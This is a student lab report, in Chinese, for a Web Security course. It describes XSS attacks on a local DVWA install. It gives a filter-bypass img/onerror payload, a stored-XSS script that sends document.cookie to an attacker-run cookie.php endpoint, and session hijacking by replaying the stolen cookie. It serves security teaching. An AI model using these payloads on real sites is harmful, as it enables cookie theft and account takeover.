

**实 验 报 告**

**（ 2020/ 2021 学年 第 二 学期）**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| 课程名称 | Web安全 | | | | | |
| 实验名称 | 跨站脚本攻击实验 | | | | | |
| 实验时间 | 2022 | 年 | 4 | 月 | 11 | 日 |
| 指导单位 | 计算机学院信息安全系 | | | | | |
| 指导教师 |  | | | | | |

|  |  |  |  |
| --- | --- | --- | --- |
| 学生姓名 |  | 班级学号 |  |
| 学院(系) | 计软网安学院 | 专 业 | 信息安全 |

**实 验 报 告**

|  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **实验名称** | | 跨站脚本攻击实验 | | | | | **指导教师** | | 陈伟 |
| **实验类型** | | 上机 | | **实验学时** | | 2 | **实验时间** | | 2022.4.11 |
| 1. **实验目的和要求** 2. 在Windows/Linux 环境下安装Apache+PHP+MySql环境 3. 安装DVWA | | | | | | | | | |
| 二、**实验环境(实验设备)**  1.安装Windows/Linux操作系统并连接网络的1-2台PC机。  2. Apache+PHP+MySQL  3.DVWA | | | | | | | | | |
| **三、实验内容**  1. 完成任务二步骤（3），截取显示学号的弹窗窗口。  打开<http://127.0.0.1/DVWA/index.php>。相比较中级而言，高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过。比如：<img src=x onError=alert('xss')>。在浏览器窗口中查看文本框元素，按F12调出，找到对应的文本框，双击maxlength，把数值为200。    2. 完成任务三，说明两个关键点：（1）如何获取受害者A的Cookie，（2）攻击者B如何利用Cookie实现无密码登录，适当截图记录。  欢迎探索不同的渗透思路，体会攻击的危害，加强防范意识。  因为只有一台电脑所以演示的攻击者和受害者在同一台电脑上模拟。  首先在htdocs文件夹下新建cookie.php内容如下    目的是充当攻击者自己的服务器，为了将获取到的cookie，保存到cookie.php所在目录下自动生成一个cookie.txt。  接着构造payload如下  <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>  这样，所有执行这段js语句的人都将向<http://127.0.0.1/cookie.php>上传自己的cookie参数。  我们首先将该语句上传到网站的XSS (Stored)评论区，接着用Edge浏览器重新登陆，模拟受害者，去打开XSS (Stored)评论区，可以看到恶意的js代码立即被受害者浏览器执行。    可以看到受害者的cookie已被捕获到    然后我们切换到谷歌浏览器，模拟攻击者使用受害者cookie登陆    可以看到顺利跳过密码实现登陆 | | | | | | | | | |
| **四、实验小结（包括问题和解决方法、心得体会、意见与建议等）**  **问题和解决方法**  问题：手上只有一台主机  解决方法：使用xampp既充当被攻击网站，又充当攻击者接收cookie服务器。用Edge浏览器模拟被害者，用谷歌浏览器模拟攻击者。  **心得体会**  通过这次实验，我深入理解了XSS攻击的原理，特别是存储型XSS攻击。存储型XSS攻击对用户可以说是防不胜防的，只能靠网站开发者提高安全意识，对于任何用户的提交都要仔细审查，才能防止这种攻击手段。同时，我们应该慎用下一次自动登录这种采用cookie  的技术或及时更新自己的cookie。  **意见与建议**  无 | | | | | | | | | |
| **五、指导教师评语** | | | | | | | | | |
| **成 绩** |  | | **批阅人** | |  | | **日 期** |  | |